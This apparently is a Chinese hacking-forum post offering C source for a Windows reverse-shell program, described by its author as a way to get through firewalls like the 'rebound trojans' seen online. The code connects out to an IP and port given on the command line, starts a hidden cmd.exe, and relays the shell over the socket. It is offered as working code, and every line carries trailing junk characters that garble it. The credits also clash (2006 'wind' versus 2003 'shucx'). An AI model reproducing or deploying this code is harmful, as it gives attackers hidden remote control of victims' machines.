这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R5`"~qP-
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/* ============================== k+X=8()k
Rebound port in Windows NT =[wVRQ?
By wind,2006/7 pdcP;.
===============================*/ H*#L~!]
#include @"M%ZnFu
#include Qo*,2B9R L
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#pragma comment(lib,"wsock32.lib") sE*A,z?
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void OutputShell(); X#l]%IrW!
SOCKET sClient; b 9M.p*!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q'f!392|
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void main(int argc,char **argv) V=<OV]0
{ &^ECQ
WSADATA stWsaData; ^;J@]&[
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int nRet; l0cws`V
SOCKADDR_IN stSaiClient,stSaiServer; 3"28=)o
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if(argc != 3) (p1y/"Xh
{ ahagt9[,:F
printf("Useage:\n\rRebound DestIP DestPort\n"); (!h%)
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return; sOc<'):TK
} xkv2#"*v
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WSAStartup(MAKEWORD(2,2),&stWsaData); {}Y QB'}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sb
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); l26DPtWi
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jM%qv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lO482l_t
{ ,vBi)H
printf("Bind Socket Failed!\n"); SK2nxZOH
return; fH_G;#q
} zz ^2/l
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stSaiServer.sin_family = AF_INET; z/bJDSQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #(o 'G4T
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !!Tk'=t9"3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gi::?ET/.
{ \>0F{-cR$
printf("Connect Error!"); pg3B^
return; Xg*IOhF6x
} lk $S"OH!
OutputShell(); 3c5=>'^F
} xyO]Evg
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void OutputShell() k0|*8
{ w H&Rjn
char szBuff[1024]; _vA\j
SECURITY_ATTRIBUTES stSecurityAttributes; b* 4[)Yg4
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,|?-\?I
STARTUPINFO stStartupInfo; 9moenkL
char *szShell; }8E//$J
PROCESS_INFORMATION stProcessInformation; ?}*A/-Hx0U
unsigned long lBytesRead; Ro+/=*ql~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VFN\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 846j<fE
stSecurityAttributes.lpSecurityDescriptor = 0; uHdrHP
stSecurityAttributes.bInheritHandle = TRUE; 4;;F(yk8
mk JS_6
&&e{ 9{R
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O@U[S.IK
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EUdu"'=4a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7+aTrE{
stStartupInfo.wShowWindow = SW_HIDE; "rz|sbj
stStartupInfo.hStdInput = hReadPipe; n8"S;:Zm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 41%B%K*
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GetVersionEx(&stOsversionInfo); Ou IoO
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switch(stOsversionInfo.dwPlatformId) ehO@3%z30c
{ O~F/pJN`
case 1: xw-x<7
szShell = "command.com"; z^
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break; u/FnA-L4
default: 4VE7%.z+
szShell = "cmd.exe"; |RQ19m@
break; <a *X&P
} =Haqr*PDx
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bu"R2~sb
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send(sClient,szMsg,77,0); tBe)#-O
while(1) M-KjRl
{ a
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $3](6
if(lBytesRead) }fw;{&s{z
{ D%cWw0Oq
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ouKID_'
send(sClient,szBuff,lBytesRead,0); HxJKS*H;
} qPdNI1 |
else -X(%K6{
{ c_xtwdkL9
lBytesRead=recv(sClient,szBuff,1024,0); TDg#O!DUF
if(lBytesRead<=0) break; }~dXz?{p8
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '>[KVvm
} Mn+;3qo{6
} UD[S>{
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return; 1E!0N`E
}